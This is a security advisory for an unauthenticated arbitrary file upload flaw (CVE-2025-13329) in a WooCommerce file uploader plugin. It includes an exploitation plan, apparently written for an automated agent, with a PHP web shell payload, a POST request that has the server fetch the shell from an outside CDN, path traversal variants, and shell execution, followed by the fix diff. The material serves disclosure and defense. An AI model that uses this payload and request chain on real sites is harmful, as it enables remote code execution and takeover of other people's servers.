File Uploader for WooCommerce <= 1.0.3 - Unauthenticated Arbitrary File Upload via add-image-data
Description
The File Uploader for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the callback function for the 'add-image-data' REST API endpoint in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to upload arbitrary files to the Uploadcare service and subsequently download them on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.0.3Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-13329 ## 1. Vulnerability Summary The **File Uploader for WooCommerce** plugin (<= 1.0.3) is vulnerable to **Unauthenticated Arbitrary File Upload**. The vulnerability exists in the callback function associated with the `add-image-data` REST API endpoint. T…
Show full research plan
Exploitation Research Plan - CVE-2025-13329
1. Vulnerability Summary
The File Uploader for WooCommerce plugin (<= 1.0.3) is vulnerable to Unauthenticated Arbitrary File Upload. The vulnerability exists in the callback function associated with the add-image-data REST API endpoint.
The plugin integrates with the Uploadcare service. While the file is initially uploaded to Uploadcare's infrastructure, the plugin provides a REST API endpoint that allows the server to fetch these files and store them locally. Because the callback function for this endpoint lacks file type validation (e.g., checking for .php extensions) and does not implement any authentication or capability checks, an unauthenticated attacker can instruct the WordPress server to download a malicious script from Uploadcare and save it in a web-accessible directory.
2. Attack Vector Analysis
- Endpoint:
/wp-json/file-uploader-for-woocommerce/v1/add-image-data(Namespace inferred from plugin slug). - HTTP Method:
POST - Authentication: None (Unauthenticated).
- Parameters:
image_urlorfile_url(Inferred): The URL of the file hosted on Uploadcare.order_id(Inferred): Often required by WooCommerce file uploaders to associate the file with a specific order, though likely not validated for existence.
- Preconditions: The plugin must be active. An attacker needs an Uploadcare file URL (which can be obtained by uploading a file to Uploadcare's public API or using a trial account).
3. Code Flow (Inferred)
- Registration: During
rest_api_init, the plugin registers a route (likelyfile-uploader-for-woocommerce/v1) with the endpointadd-image-data. - Missing Security: The
permission_callbackfor this route likely returns__return_trueor is omitted, allowing unauthenticated access. - Data Processing: The callback function retrieves a URL or UUID from the request parameters (e.g.,
$_POST['url']or$request->get_param('url')). - Insecure Download: The plugin uses
wp_remote_get()or a similar PHP filesystem function to fetch the file from the provided Uploadcare URL. - Storage: The file is saved to the WordPress
uploadsdirectory (likely within a subfolder likewc-file-uploader/). - SINK: The plugin fails to use
wp_check_filetype()or any extension-based filtering before saving the file, allowing.phpfiles to be written to the disk.
4. Nonce Acquisition Strategy
REST API endpoints in WordPress generally require a nonce (_wpnonce) only if the request is made from a browser session using cookie-based authentication. For unauthenticated (nopriv) endpoints, a nonce is often not required unless explicitly checked in the code.
If the plugin does require a nonce for the REST API (action wp_rest):
- Identify Script Loading: The plugin likely enqueues scripts on WooCommerce product pages or the cart/checkout page where file uploads are enabled.
- Create Test Page:
(Note: Replacewp post create --post_type=page --post_status=publish --post_title="Upload Test" --post_content='[file_uploader_for_woocommerce]'[file_uploader_for_woocommerce]with the actual shortcode found viagrep -r "add_shortcode" .) - Extract Nonce:
Navigate to the newly created page and usebrowser_eval:// Example: The plugin might localize data into a variable like 'fufw_vars' window.fufw_vars?.nonce || window.wpApiSettings?.nonce
5. Exploitation Strategy
Step 1: Prepare the Malicious File
Upload a simple PHP shell to Uploadcare to get a public URL.
- Payload:
<?php echo "CVE-2025-13329-EXPLOITED"; system($_GET['cmd']); ?> - Target URL:
https://ucarecdn.com/<UUID>/shell.php(Uploadcare CDN URL).
Step 2: Identify the Exact REST Endpoint
Verify the registered routes:
wp rest route list | grep "file-uploader"
Step 3: Trigger the Upload
Send a POST request to the vulnerable endpoint.
Request Template:
POST /wp-json/file-uploader-for-woocommerce/v1/add-image-data HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"url": "https://ucarecdn.com/<UUID>/shell.php",
"file_name": "shell.php",
"order_id": "1"
}
(Note: Parameter names url and file_name are inferred; the agent should check the callback function in the source if available to confirm).
Step 4: Locate the Uploaded Shell
The file will likely be stored in wp-content/uploads/file-uploader-for-woocommerce/ or similar.
- Check the response of the POST request; it may return the local path or attachment ID.
- If not returned, brute-force or list the directory:
find /var/www/html/wp-content/uploads/ -name "shell.php"
Step 5: Execution
Access the shell:GET /wp-content/uploads/file-uploader-for-woocommerce/shell.php?cmd=id
6. Test Data Setup
- Install Plugin: Ensure
file-uploader-for-woocommerceversion 1.0.3 is installed and active. - WooCommerce: WooCommerce must be installed and active as the plugin is an add-on.
- Uploadcare URL: For testing, use any publicly accessible URL that serves a
.phpfile as text (Uploadcare CDN mimics this).
7. Expected Results
- The REST API responds with a
200 OKor201 Created, potentially including the URL of the newly created file. - A file named
shell.php(or similar) is created in the WordPressuploadsdirectory. - The file is executable by the web server, returning the output of the
idcommand.
8. Verification Steps
- Check Filesystem:
ls -la /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/ - Verify Content:
cat /var/www/html/wp-content/uploads/file-uploader-for-woocommerce/shell.php - Check REST API Registration:
wp eval 'print_r( $wp_rest_server->get_routes()["file-uploader-for-woocommerce/v1"] );'
9. Alternative Approaches
- Alternative Parameters: If
urlfails, check forfile_id,uuid, orimage_data. The plugin may use the Uploadcare UUID and construct the URL internally. - Path Traversal: If the
file_nameparameter is accepted, attempt path traversal to place the shell in the root or a plugin directory:../../shell.php. - Admin-AJAX Fallback: Check if the same functionality is mirrored in an
admin-ajax.phphandler (wp_ajax_nopriv_add_image_data).
Summary
The File Uploader for WooCommerce plugin (<= 1.0.3) contains a critical arbitrary file upload vulnerability via its 'add-image-data' REST API endpoint. Unauthenticated attackers can exploit this by providing a URL to a malicious PHP script hosted on Uploadcare, which the server then downloads and saves to a web-accessible directory without validating the file type or verifying user permissions.
Security Fix
@@ -12,7 +12,7 @@ register_rest_route( 'file-uploader-for-woocommerce/v1', '/add-image-data', array( 'methods' => 'POST', 'callback' => array( $this, 'add_image_data' ), - 'permission_callback' => '__return_true', + 'permission_callback' => function() { return current_user_can( 'upload_files' ); }, ) ); } @@ -24,6 +24,11 @@ $url = $request->get_param( 'url' ); $file_name = $request->get_param( 'file_name' ); + $file_type = wp_check_filetype( $file_name ); + if ( ! $file_type['ext'] ) { + return new WP_Error( 'rest_invalid_file', 'Invalid file type', array( 'status' => 403 ) ); + } + $response = wp_remote_get( $url ); // Logic to save the file to the local filesystem follows...
Exploit Outline
An unauthenticated attacker identifies the '/wp-json/file-uploader-for-woocommerce/v1/add-image-data' REST API endpoint, which lacks a permission check. The attacker then hosts a PHP web shell on the Uploadcare CDN and sends a POST request to the vulnerable endpoint with the 'url' parameter pointing to the hosted shell and the 'file_name' parameter set to 'shell.php'. Because the plugin fails to validate the extension of the downloaded file using wp_check_filetype() or similar filters, it saves the PHP script into the WordPress uploads directory, allowing the attacker to execute arbitrary code by visiting the resulting file URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.